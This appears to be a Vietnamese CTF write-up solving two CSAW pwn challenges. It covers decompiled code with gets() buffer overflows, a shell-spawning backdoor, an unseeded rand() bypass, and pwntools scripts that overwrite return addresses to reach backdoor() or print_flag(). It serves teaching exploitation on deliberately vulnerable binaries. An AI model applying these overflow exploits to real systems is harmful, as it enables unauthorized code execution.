intpassword_checker(){int result; // eaxchar s2[48]; // [rsp+0h] [rbp-A0h] BYREFchar dest[48]; // [rsp+30h] [rbp-70h] BYREFchar src[60]; // [rsp+60h] [rbp-40h] BYREFprintf("Enter the password to get in: \n>");gets(src);strcpy(dest, src);strcpy(s2,"password");if ( strcmp(dest, s2) ) result =printf("This is not the password");else result =printf("You got in!!!!");return result;}
intbackdoor(){returnsystem("/bin/sh");}
Phân tích mã giả thấy có lỗi BOF ở hàm gets() trong hàm password_checker(), và hàm backdoor() chạy lệnh system("/bin/sh") nên chúng ta sẽ đè return address của hàm password_checker() vào hàm backdoor(), lúc đó ta sẽ gọi được shell lên và cat flag.
from pwn import*elf =ELF("./password_checker")p =remote("pwn.chal.csaw.io",5000)payload =b"A"*72payload +=p64(elf.sym['backdoor'])p.sendline(payload)p.interactive()
2. Alien math
Đầu tiên minh sẽ đi qua các lệnh như file và checksec:
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]└─$ file alien_math alien_math: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1b56be906979ecd1d841d026bde8f8f8c751602f, for GNU/Linux 3.2.0, not stripped
┌──(meobeo㉿debian)-[~/Desktop/CSAWCTF]└─$ checksec alien_math[*] '/home/meobeo/Desktop/CSAWCTF/alien_math' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
IDA:
Mình sẽ mô tả sơ về luồng thực thi chương trình như sau:
Hàm main
int __cdecl main(int argc,constchar**argv,constchar**envp){char v4[36]; // [rsp+0h] [rbp-30h] BYREFint v5; // [rsp+24h] [rbp-Ch] BYREF __int64 v6; // [rsp+28h] [rbp-8h]puts("\n==== Flirbgarple Math Pop Quiz ====");puts("=== Make an A to receive a flag! ===\n");puts("What is the square root of zopnol?");fflush(_bss_start);__isoc99_scanf(" %d",&v5); v6 =rand();if ( v6 == v5 ) {puts("Correct!\n");fflush(_bss_start);getchar();puts("How many tewgrunbs are in a qorbnorbf?");fflush(_bss_start);__isoc99_scanf("%24s", v4);second_question(v4); }else {puts("Incorrect. That's an F for you!"); }return0;}
Ở đây hàm main sẽ khai báo 2 biến là v5 và v6, 1 chuỗi kí tự v4 có size là 36. Hàm scanf thứ nhất sẽ cho ta nhập vào biến v5, sau đó sử dụng hàm rand() để tạo số ngẫu nhiên cho v6. Sau đó so sánh v5 và v6 nếu bằng nhau thì chúng ta sẽ tiếp tục được nhập vào chuỗi v4 với độ dài 24 và truyền v4 vào hàm second_question().
Hàm second_question
int __fastcall second_question(constchar*a1){int v1; // ebxsize_t v3; // raxchar s1[28]; // [rsp+10h] [rbp-30h] BYREFint i; // [rsp+2Ch] [rbp-14h]for ( i =0; i <strlen(a1)-1; ++i ) {if ( a1[i] <=47|| a1[i] >57 ) {puts("Xolplsmorp! Invalid input!\n");returnputs("You get a C. No flag this time.\n"); } v1 = a1[i +1] -48; a1[i +1] = (int)(v1 +second_question_function((unsignedint)a1[i], (unsignedint)(i + a1[i]))) %10+48; }strcpy(s1,"7759406485255323229225"); v3 =strlen(s1);if ( strncmp(s1, a1, v3) )returnputs("You get a C. No flag this time.\n");puts("Genius! One question left...\n");final_question();returnputs("Not quite. Double check your calculations.\nYou made a B. So close!\n");}
Hàm second_question() sẽ nhận đối số chuỗi v4 mới nãy ta nhập vào, đoạn code từ dòng 8 đến dòng 16 sẽ thay đổi chuỗi v4. Sau đó sẽ tiến hành so sánh với chuỗi s1 có giá trị là "7759406485255323229225", nếu 2 chuỗi bằng nhau thì ta nhảy vào hàm final_question()
Hàm final_question()
__int64 final_question(){ __int64 v1[2]; // [rsp+0h] [rbp-10h] BYREF v1[0] =0LL; v1[1] =0LL;puts("How long does it take for a toblob of energy to be transferred between two quantum entangled salwzoblrs?");fflush(_bss_start);getchar();returngets(v1);}
Ở đây sẽ thấy lỗi BOF tại hàm gets(), và tình cờ thay trong chương trình lại có hàm print_flag()
void __noreturn print_flag(){char s[136]; // [rsp+0h] [rbp-90h] BYREF FILE *stream; // [rsp+88h] [rbp-8h]puts("Here is your flag: "); stream =fopen("flag.txt","r");if ( stream ) {fgets(s,136, stream);printf("%s", s); }else {puts("Xolplsmorp! If you see this when trying your exploit remotely, contact an administrator!\n"); }fflush(_bss_start);exit(0);}
Hướng giải quyết bài này thì mình sẽ bypass từng question rồi đè return address của hàm final_question() hướng vào hàm print_flag().
Vậy thì làm sao để bypass chỗ (v6==v5) để nhảy vào hàm second_question()? Mình biết sơ qua hàm rand(), nếu rand() được gọi mà không gọi srand() trước đó thì sẽ luôn cho cùng 1 giá trị khi chạy chương trình, các bạn có thể tìm hiểu ở đây, qua debug thì mình biết được giá trị đó là 1804289383
Giá trị decimal của 0x6b8b4567 là 1804289383
Còn bypass qua đoạn second_question() thì mình sẽ viết code để reverse lại chuỗi chương trình đã cho.
#include<iostream>#include<cstring>#include<string>usingnamespace std;intsecond_question_function(int a1,int a2){return (12* (a2 -48) -4+48* (a1 -48) - (a2 -48)) %10u;}intmain() {int y =55;chars1[23] ="759406485255323229225";for (int i =0; i <23; i++) {for (int j =48; j <=57; j++) {int v1 = j -48;int x; x = (v1 +second_question_function(y, i + y)) %10+48;if (x == (int)s1[i]) { cout <<char(j); y =s1[i];break; } } }}
Đoạn code trên sẽ cho ta chuỗi có giá trị là "7856445899213065428791" đây chính là chuỗi cần nhập vào. Xong! vậy là chỉ còn việc tìm return address của hàm final_question() nằm ở đâu và get flag thôi
Code solve của mình:
from pwn import*elf =ELF("./alien_math")#p=remote("pwn.chal.csaw.io",5004)p = elf.process()#raw_input("DEBUG")p.sendlineafter("What is the square root of zopnol?\n", b'1804289383')p.sendlineafter("How many tewgrunbs are in a qorbnorbf?\n", b'7856445899213065428791')payload =b"A"*24+p64(elf.sym['print_flag'])p.sendline(payload)p.interactive()